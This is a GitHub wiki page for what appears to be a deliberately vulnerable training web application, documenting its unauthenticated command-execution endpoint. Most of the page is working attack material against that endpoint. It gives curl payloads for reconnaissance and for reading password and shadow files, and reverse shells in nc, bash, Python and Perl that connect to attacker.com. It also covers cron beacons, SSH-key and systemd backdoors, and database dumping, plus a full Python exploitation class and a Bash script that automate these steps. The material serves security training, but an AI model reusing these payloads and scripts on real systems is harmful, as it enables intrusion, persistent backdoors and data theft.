Command Injection - capstone-hermes/hermes-fullstack GitHub Wiki

Command Injection

Overview

Command injection vulnerabilities allow attackers to execute arbitrary operating system commands on the server hosting the application. The Weak Website contains a direct command injection vulnerability that provides complete system access, enabling attackers to execute any command with the privileges of the web application.

Vulnerable Implementation

Direct Command Execution Endpoint

File: server/src/modules/file/file.controller.ts:154-178

@Post('execute')
async executeCommand(@Body() body: { command: string }, @Res() res: Response) {
  // V12.3.5: Vulnerable to OS command injection
  const { command } = body;
  
  // V7.1.1, V7.1.2: Log sensitive information
  this.logger.log(`Command execution requested: ${command}`);
  
  // Extremely dangerous - direct command execution
  exec(command, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).json({ 
        error: `Execution error: ${error.message}`,
        command: command 
      });
    }
    
    return res.json({ 
      output: stdout,
      errors: stderr,
      command: command 
    });
  });
}

Security Issues

  1. No Input Validation: Commands executed directly without sanitization
  2. No Access Control: Endpoint accessible without authentication
  3. Full Command Execution: Any system command can be executed
  4. Detailed Error Responses: Full error messages including system information
  5. Command Logging: All commands logged in plain text

Basic Command Injection

System Information Gathering

# Basic system information
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"whoami"}'

curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"id"}'

curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"uname -a"}'

# Current working directory
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"pwd"}'

# Operating system information
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /proc/version"}'

File System Exploration

# List directory contents
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ls -la"}'

# List root directory
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ls -la /"}'

# Find important files
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"find / -name \"*.conf\" -type f 2>/dev/null | head -10"}'

# Search for SUID binaries
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"find / -perm -4000 2>/dev/null"}'

Network Information

# Network configuration
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ifconfig"}'

# Network connections
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"netstat -tulpn"}'

# Routing table
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"route -n"}'

# DNS configuration
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/resolv.conf"}'

Advanced Command Injection Techniques

Command Chaining

# Multiple commands with semicolon
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"whoami; id; pwd"}'

# Conditional execution with &&
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cd /tmp && ls -la && pwd"}'

# Alternative execution with ||
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/shadow || cat /etc/passwd"}'

# Command substitution
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"echo \"Current user: $(whoami), Date: $(date)\""}'

Background Process Execution

# Run process in background
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"nohup sleep 3600 &"}'

# Start persistent backdoor
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"nohup nc -l -p 4444 -e /bin/bash & echo \"Backdoor started\""}'

# Schedule recurring task
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"(crontab -l; echo \"* * * * * curl http://attacker.com/ping\") | crontab -"}'

Data Exfiltration

# Read sensitive files
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/passwd"}'

curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/shadow"}'

# Compress and exfiltrate data
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"tar -czf /tmp/sensitive.tar.gz /etc/passwd /etc/shadow /home/*/.ssh/* 2>/dev/null"}'

# Base64 encode for exfiltration
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/passwd | base64"}'

Environment Information

# Environment variables
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"env"}'

# Process list
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ps aux"}'

# Running services
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"systemctl list-units --type=service --state=running"}'

# Installed packages (Debian/Ubuntu)
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"dpkg -l | head -20"}'

Reverse Shell Establishment

Netcat Reverse Shell

# Setup listener on attacker machine first:
# nc -lvp 4444

# Establish reverse shell
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"nc attacker.com 4444 -e /bin/bash"}'

# Alternative netcat syntax
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker.com 4444 > /tmp/f"}'

Bash Reverse Shell

# Bash TCP reverse shell
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"bash -i >& /dev/tcp/attacker.com/4444 0>&1"}'

# Bash UDP reverse shell
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"bash -i >& /dev/udp/attacker.com/4444 0>&1"}'

Python Reverse Shell

# Python reverse shell
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"attacker.com\\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\""}'

# Python reverse shell (alternative)
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"python3 -c \"import os,pty,socket;s=socket.socket();s.connect((\\\"attacker.com\\\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\"/bin/bash\\\")\""}'

Perl Reverse Shell

# Perl reverse shell
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"perl -e \"use Socket;\\$i=\\\"attacker.com\\\";\\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));if(connect(S,sockaddr_in(\\$p,inet_aton(\\$i)))){open(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");open(STDERR,\\\">&S\\\");exec(\\\"/bin/sh -i\\\");}\""}'

Node.js Reverse Shell

# Node.js reverse shell
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"node -e \"require(\\\"child_process\\\").spawn(\\\"/bin/sh\\\",[],{stdio:[0,1,2]})\""}'

Persistence Mechanisms

Cron Job Installation

# Add malicious cron job
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"(crontab -l 2>/dev/null; echo \"*/5 * * * * curl -s http://attacker.com/beacon?$(whoami)@$(hostname)\") | crontab -"}'

# System-wide cron job (if permissions allow)
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"echo \"*/10 * * * * root /tmp/backdoor.sh\" >> /etc/crontab"}'

SSH Key Installation

# Create SSH directory
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"mkdir -p ~/.ssh && chmod 700 ~/.ssh"}'

# Install SSH public key
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... [email protected]\" >> ~/.ssh/authorized_keys"}'

# Set proper permissions
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"chmod 600 ~/.ssh/authorized_keys"}'

Backdoor Service Creation

# Create backdoor script
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat > /tmp/backdoor.sh << EOF\n#!/bin/bash\nwhile true; do\n  nc -l -p 9999 -e /bin/bash\n  sleep 1\ndone\nEOF"}'

# Make executable
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"chmod +x /tmp/backdoor.sh"}'

# Start backdoor
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"nohup /tmp/backdoor.sh &"}'

Systemd Service (if root access)

# Create systemd service file
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat > /etc/systemd/system/backdoor.service << EOF\n[Unit]\nDescription=System Backdoor\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=/bin/bash -c \"while true; do nc -l -p 8888 -e /bin/bash; sleep 1; done\"\nRestart=always\n\n[Install]\nWantedBy=multi-user.target\nEOF"}'

# Enable and start service
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"systemctl enable backdoor.service && systemctl start backdoor.service"}'

Database Interaction

MySQL Database Access

# Connect to MySQL (if credentials known)
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"mysql -u user -ppassword hermes-weak-website-db -e \"SELECT * FROM user;\""}'

# Dump database
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"mysqldump -u user -ppassword hermes-weak-website-db > /tmp/database_dump.sql"}'

# Check MySQL processes
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ps aux | grep mysql"}'

Database File Access

# Find MySQL data directory
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"find / -name \"*.frm\" -o -name \"*.ibd\" 2>/dev/null | head -5"}'

# Check MySQL configuration
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/mysql/mysql.conf.d/mysqld.cnf"}'

Privilege Escalation

SUID Binary Exploitation

# Find SUID binaries
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"find / -perm -4000 -type f 2>/dev/null"}'

# Check for GTFOBins-style escalation
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"find / -perm -4000 -name \"*\" -exec ls -la {} \\; 2>/dev/null | grep -E \"(vim|nano|less|more|tail|head)\""}'

Sudo Exploitation

# Check sudo permissions
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"sudo -l"}'

# Check sudoers file
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /etc/sudoers"}'

Kernel Exploitation

# Check kernel version
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"uname -r"}'

# Check for known vulnerable kernels
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"cat /proc/version"}'

# Check system architecture
curl -X POST http://localhost:8080/file/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"uname -m"}'

Automated Command Injection Testing

Python Command Injection Framework

#!/usr/bin/env python3
import requests
import json
import time
import base64

class CommandInjectionExploit:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.endpoint = f"{base_url}/file/execute"
    
    def execute_command(self, command):
        """Execute a single command"""
        payload = {"command": command}
        
        try:
            response = self.session.post(
                self.endpoint,
                json=payload,
                timeout=30
            )
            
            if response.status_code == 200:
                data = response.json()
                return {
                    'success': True,
                    'output': data.get('output', ''),
                    'errors': data.get('errors', ''),
                    'command': data.get('command', '')
                }
            else:
                return {
                    'success': False,
                    'error': f"HTTP {response.status_code}: {response.text}"
                }
                
        except requests.RequestException as e:
            return {'success': False, 'error': str(e)}
    
    def system_reconnaissance(self):
        """Perform comprehensive system reconnaissance"""
        print("=== System Reconnaissance ===")
        
        recon_commands = [
            ("System Info", "uname -a"),
            ("Current User", "whoami"),
            ("User ID", "id"),
            ("Working Directory", "pwd"),
            ("Home Directory", "echo $HOME"),
            ("Shell", "echo $SHELL"),
            ("Environment", "env | head -10"),
            ("Network Config", "ifconfig | head -20"),
            ("Processes", "ps aux | head -10"),
            ("Disk Usage", "df -h"),
            ("Memory Info", "free -h"),
        ]
        
        results = {}
        for name, command in recon_commands:
            print(f"Executing: {name}")
            result = self.execute_command(command)
            if result['success']:
                results[name] = result['output']
                print(f"✓ {name}: {result['output'][:50]}...")
            else:
                print(f"✗ {name}: Failed")
        
        return results
    
    def establish_reverse_shell(self, attacker_ip, port):
        """Attempt to establish reverse shell"""
        print(f"=== Establishing Reverse Shell to {attacker_ip}:{port} ===")
        
        shells = [
            f"nc {attacker_ip} {port} -e /bin/bash",
            f"bash -i >& /dev/tcp/{attacker_ip}/{port} 0>&1",
            f"python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{attacker_ip}',{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])\"",
        ]
        
        for i, shell_cmd in enumerate(shells):
            print(f"Attempting shell method {i+1}")
            result = self.execute_command(shell_cmd)
            if result['success']:
                print(f"✓ Shell command executed successfully")
                return True
            else:
                print(f"✗ Shell method {i+1} failed: {result.get('error', 'Unknown error')}")
        
        return False
    
    def install_persistence(self):
        """Install persistence mechanisms"""
        print("=== Installing Persistence ===")
        
        # SSH key persistence
        ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... [email protected]"
        ssh_commands = [
            "mkdir -p ~/.ssh",
            "chmod 700 ~/.ssh",
            f"echo '{ssh_key}' >> ~/.ssh/authorized_keys",
            "chmod 600 ~/.ssh/authorized_keys"
        ]
        
        for cmd in ssh_commands:
            result = self.execute_command(cmd)
            if result['success']:
                print(f"✓ SSH setup: {cmd[:30]}...")
            else:
                print(f"✗ SSH setup failed: {cmd[:30]}...")
        
        # Cron job persistence
        cron_cmd = "(crontab -l 2>/dev/null; echo '*/5 * * * * curl -s http://attacker.com/beacon') | crontab -"
        result = self.execute_command(cron_cmd)
        if result['success']:
            print("✓ Cron job installed")
        else:
            print("✗ Cron job failed")
    
    def data_exfiltration(self):
        """Exfiltrate sensitive data"""
        print("=== Data Exfiltration ===")
        
        sensitive_files = [
            "/etc/passwd",
            "/etc/shadow",
            "/etc/hosts",
            "~/.ssh/id_rsa",
            "../../../.env",
            "../../../server/.env",
        ]
        
        exfiltrated_data = {}
        for file_path in sensitive_files:
            result = self.execute_command(f"cat {file_path}")
            if result['success'] and result['output']:
                exfiltrated_data[file_path] = result['output']
                print(f"✓ Exfiltrated: {file_path} ({len(result['output'])} bytes)")
            else:
                print(f"✗ Failed to access: {file_path}")
        
        return exfiltrated_data
    
    def privilege_escalation_check(self):
        """Check for privilege escalation opportunities"""
        print("=== Privilege Escalation Check ===")
        
        privesc_commands = [
            ("SUID Binaries", "find / -perm -4000 2>/dev/null"),
            ("Sudo Access", "sudo -l 2>/dev/null"),
            ("Writable /etc", "find /etc -writable 2>/dev/null"),
            ("Cron Jobs", "cat /etc/crontab 2>/dev/null"),
            ("World Writable Dirs", "find / -type d -perm -002 2>/dev/null | head -10"),
        ]
        
        privesc_results = {}
        for name, command in privesc_commands:
            result = self.execute_command(command)
            if result['success'] and result['output']:
                privesc_results[name] = result['output']
                print(f"✓ {name}: Found opportunities")
            else:
                print(f"✗ {name}: No results")
        
        return privesc_results
    
    def comprehensive_exploit(self, attacker_ip=None, port=4444):
        """Run comprehensive exploitation sequence"""
        print("=== Comprehensive Command Injection Exploit ===")
        
        # Step 1: Reconnaissance
        recon_data = self.system_reconnaissance()
        
        # Step 2: Privilege escalation check
        privesc_data = self.privilege_escalation_check()
        
        # Step 3: Data exfiltration
        exfil_data = self.data_exfiltration()
        
        # Step 4: Persistence
        self.install_persistence()
        
        # Step 5: Reverse shell (if attacker IP provided)
        if attacker_ip:
            self.establish_reverse_shell(attacker_ip, port)
        
        print("=== Exploitation Complete ===")
        
        return {
            'reconnaissance': recon_data,
            'privilege_escalation': privesc_data,
            'exfiltrated_data': exfil_data
        }

# Example usage
if __name__ == "__main__":
    exploit = CommandInjectionExploit("http://localhost:8080")
    
    # Quick test
    result = exploit.execute_command("whoami")
    if result['success']:
        print(f"Command injection confirmed. User: {result['output'].strip()}")
        
        # Run comprehensive exploit
        # exploit.comprehensive_exploit(attacker_ip="192.168.1.100")
    else:
        print("Command injection test failed")

Bash Command Injection Testing Suite

#!/bin/bash

BASE_URL="http://localhost:8080"
ENDPOINT="/file/execute"

execute_command() {
    local cmd="$1"
    local description="$2"
    
    echo "[$description] Executing: $cmd"
    
    response=$(curl -s -X POST "$BASE_URL$ENDPOINT" \
        -H "Content-Type: application/json" \
        -d "{\"command\":\"$cmd\"}")
    
    if echo "$response" | jq -e '.output' > /dev/null 2>&1; then
        output=$(echo "$response" | jq -r '.output')
        echo "✓ Success: ${output:0:100}..."
        return 0
    else
        echo "✗ Failed: $response"
        return 1
    fi
}

echo "=== Command Injection Test Suite ==="

# Basic system information
echo -e "\n--- System Information ---"
execute_command "whoami" "Current User"
execute_command "id" "User ID"
execute_command "uname -a" "System Info"
execute_command "pwd" "Working Directory"

# Network information
echo -e "\n--- Network Information ---"
execute_command "ifconfig | head -10" "Network Config"
execute_command "netstat -tulpn | head -10" "Network Connections"

# File system exploration
echo -e "\n--- File System ---"
execute_command "ls -la" "Current Directory"
execute_command "ls -la /" "Root Directory"
execute_command "find / -name \"*.conf\" -type f 2>/dev/null | head -5" "Config Files"

# Sensitive file access
echo -e "\n--- Sensitive Files ---"
execute_command "cat /etc/passwd" "Password File"
execute_command "cat /etc/hosts" "Hosts File"
execute_command "cat ../../../.env" "Environment File"

# Process and service information
echo -e "\n--- Processes and Services ---"
execute_command "ps aux | head -10" "Running Processes"
execute_command "systemctl list-units --type=service --state=running | head -10" "Running Services"

# Privilege escalation checks
echo -e "\n--- Privilege Escalation ---"
execute_command "sudo -l" "Sudo Permissions"
execute_command "find / -perm -4000 2>/dev/null | head -10" "SUID Binaries"

# Data exfiltration test
echo -e "\n--- Data Exfiltration ---"
execute_command "tar -czf /tmp/exfil.tar.gz /etc/passwd /etc/hosts 2>/dev/null && echo 'Archive created'" "Create Archive"
execute_command "base64 /etc/passwd | head -5" "Base64 Encoding"

echo -e "\n=== Test Complete ==="

Impact Assessment

Critical System Compromise

  • Complete Server Control: Full operating system access
  • Data Breach: Access to all system and application data
  • Lateral Movement: Network reconnaissance and pivot capabilities
  • Persistence: Ability to maintain long-term access

Business Impact

  • Data Loss: Complete database and file system compromise
  • Service Disruption: Potential for denial of service attacks
  • Regulatory Compliance: Violation of data protection regulations
  • Reputation Damage: Public disclosure of security breach

Attack Progression

  1. Initial Access: Command injection exploitation
  2. Reconnaissance: System and network information gathering
  3. Privilege Escalation: Attempt to gain root access
  4. Persistence: Install backdoors and scheduled tasks
  5. Data Exfiltration: Extract sensitive information
  6. Lateral Movement: Attack connected systems

Next Steps:

Related Topics: